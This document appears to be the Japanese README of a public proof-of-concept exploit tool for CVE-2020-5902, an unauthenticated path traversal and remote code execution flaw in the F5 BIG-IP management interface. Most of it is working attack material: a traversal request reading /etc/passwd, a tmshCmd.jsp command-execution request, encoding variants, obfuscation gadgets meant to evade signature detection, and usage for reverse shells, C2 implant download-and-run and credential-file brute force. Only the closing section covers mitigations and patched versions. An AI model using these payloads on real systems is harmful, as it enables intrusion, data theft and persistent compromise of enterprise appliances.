
F5 BIG-IPは、企業環境で広く使用されているアプリケーションデリバリおよびセキュリティプラットフォームです。CVE-2020-5902は、TMUIにおける重大な脆弱性であり、未修正のバージョンでは、不正アクセスやリモートコード実行を許す可能性があり、アップデートと継続的な脆弱性管理の必要性を強調しています。
F5 BIG-IPのTraffic Management User Interface (TMUI) における致命的なパストラバーサル/リモートコード実行脆弱性の概念実証エクスプロイトです。
⚠️ 許可を得たペネトレーションテストおよびセキュリティ研究専用です。 あなたが所有していない、または書面によるテスト許可を得ていないシステムに対する不正使用は 違法 です。 本ツールの誤用について作者は 一切の責任を負いません。
F5 BIG-IP は、Fortune 500企業、金融機関、医療機関、政府機関の大半で導入されている多目的ネットワークアプライアンス(ロードバランサー、WAF、アプリケーションデリバリコントローラー)のファミリーです。Traffic Management User Interface (TMUI) — 構成ユーティリティとも呼ばれます — は、ポート443(または8443)でアクセス可能なWebベースの管理ポータルです。
2020年7月、F5は CVE-2020-5902 を公開しました。これは、TMUIにおける Critical(CVSS 9.8) の非認証パストラバーサル脆弱性であり、リモートの非認証攻撃者に以下を可能にします:
公開から 数日以内 に、国家支援攻撃者を含む大規模な悪用が観測されました。
TMUIは Apache Tomcat 上に構築されており、保護されたリソースに対する認証を強制するサーブレットフィルタを使用しています。脆弱性は、Tomcatが セミコロン区切りのパスセグメント(;)を解析する方法にあります。
次のリクエストは認証を完全にバイパスします:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
なぜ動作するか:
/tmui/login.jsp(; の前で終わる)と見なします — これは公開ログインページです — そしてリクエストを 許可 します。/..;/ をディスパッチ前に パストラバーサル(/../)として処理します。fileRead.jsp サーブレットに 認証なしで ルーティングされます。┌──────────────────────────────────────────────────────────────────┐
│ クライアントリクエスト │
│ GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp │
└────────────────────────────┬─────────────────────────────────────┘
│
┌───────────────▼───────────────┐
│ Tomcatサーブレットフィルタ │
│ 見えるパス: /tmui/login.jsp ✓ │
│ (公開エンドポイント → 許可) │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat URLリゾルバ │
│ 解決: /..;/ → /../ │
│ 最終パス: /tmui/locallb/ │
│ workspace/fileRead.jsp ← 🔓 │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ fileRead.jsp (認証チェックなし)│
│ ルートで任意のファイルを読み取り│
└───────────────────────────────┘
tmshCmd.jsp サーブレット(同じトラバーサルで到達可能)は、command および utilCmdArgs パラメータを直接 tmsh(BIG-IP管理シェル)に渡し、run util bash -c '...' をラップします。これにより、非認証の ルートレベルのOSコマンド実行 が可能になります:
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
フェーズ 1: 偵察
└─ TCPバナー取得(HTTP/TLSフィンガープリント)
└─ SSL証明書分析
└─ HTTPヘッダーフィンガープリント(Server、X-Powered-By、Set-Cookie)
└─ /etc/f5-releaseからのBIG-IPバージョン推定
フェーズ 2: 脆弱性確認
└─ 6種類のトラバーサルエンコーディングバリアントを反復
└─ 既知の読み取り可能な4つのセンチネルファイルに対してテスト
└─ 出力が既知の指標(root:x:0:0、BIG-IPなど)と一致するか確認
フェーズ 3: エクスプロイト
├─ ベクトルA: tmshCmd.jsp(プライマリRCE)
│ └─ base64/hexエンコードガジェットでコマンドを難読化
├─ ベクトルB: fileRead.jsp + fileNameパラメータへのコマンドインジェクション
│ └─ fileNameパラメータにOSコマンドを注入
└─ ベクトルC: ログポイズニング(User-Agentインジェクション → access_log読み取り)
フェーズ 4: エクスプロイト後(オプション)
├─ インタラクティブシェル(コマンドREPL)
├─ リバースシェル(4種類のワンライナーを同時実行)
├─ LFIブルートフォース(30の機密パス、並列実行)
└─ C2インプラント展開(Sliver / Metasploit / カスタム)
| バリアント | ペイロード |
|---|---|
| 標準 | tmui/login.jsp/..;/tmui/... |
| セミコロンエンコード | tmui/login.jsp/..%3b/tmui/... |
| ダブルURLエンコード | tmui%2flogin.jsp%2f..%3b%2ftmui%2f... |
| Unicodeドットドット | tmui/login.jsp/%2e%2e;/tmui/... |
| 大文字小文字変更 | TMUI/login.jsp/..;/tmui/... |
| ディレクトリ混乱 | tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/... |
このツールは実行ごとに2つの難読化ガジェットのいずれかを適用し、静的シグネチャ検出を困難にします:
# ガジェット 1 — Base64エンコード/デコードパイプライン
bash -c {echo,aWQ=}|{base64,-d}|bash
# ガジェット 2 — Hexバイトprintf評価
eval "$(printf '\x69\x64')"
| BIG-IPブランチ | 脆弱な範囲 | 修正バージョン |
|---|---|---|
| 15.x | < 15.1.0.4 | ≥ 15.1.0.4 |
| 14.x | < 14.1.2.6 | ≥ 14.1.2.6 |
| 13.x | < 13.1.3.4 | ≥ 13.1.3.4 |
| 12.x | < 12.1.5.2 | ≥ 12.1.5.2 |
| 11.x | < 11.6.5.2 | ≥ 11.6.5.2 |
BIG-IQ、BIG-IQ Centralized Management、F5OS、Traffix SDCは、この特定のCVEの 影響を受けません。
!revshell、!c2、!read、!brute コマンドgit clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3
要件: Python 3.10+
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
[--cmd CMD] [--shell] [--lfi-brute]
[--revshell LHOST LPORT]
[--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
target
# 1. 脆弱性確認のみ
python CVE-2020-5902.py 192.168.1.100
# 2. カスタムポート + 単一コマンド実行
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"
# 3. インタラクティブシェル
python CVE-2020-5902.py 192.168.1.100 --shell
# 4. LFIブルートフォース(30の機密パスを読み取り)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute
# 5. リバースシェルコールバック
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444
# 6. C2インプラントの展開(Sliverの例)
python CVE-2020-5902.py 192.168.1.100 \
--c2-url http://10.0.0.1:8000/implant \
--c2-type linux
# 7. Burp Suite経由でトラフィック検査
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080
--shell モードでは、以下の特殊コマンドが使用できます:
| コマンド | 説明 |
|---|---|
!revshell <lhost> <lport> | 4種類のリバースシェルバリアントを同時に発射 |
!c2 <url> <type> [args] | C2インプラントをダウンロードして実行 |
!read <path> | LFI経由で任意のファイルを読み取り |
!brute | 30の機密パスをブルートフォース |
!exit | セッションを終了 |
<任意のOSコマンド> | RCE経由で実行し出力を表示 |
最も効果的な軽減策は、管理インターフェースが 信頼できないネットワークから決して到達可能にならない ようにすることです:
# BIG-IP: 管理アクセスを専用VLAN/IP範囲に制限
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config
または、BIG-IP Self IP構成から、管理ポートに外部ルートがないことを確認します。
F5はトラバーサルパターンをブロックするApache RewriteRule を追加する軽減スクリプトを公開しました:
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]
参考文献: K52145254 — 軽減手順
決定的な修正は、BIG-IPをパッチ適用済みリリースにアップグレードすることです(影響を受けるバージョン の表を参照)。F5はサーブレットフィルタのロジックを修正し、認証施行の前にセミコロン区切りのパスセグメントを正しく解析するようにしました。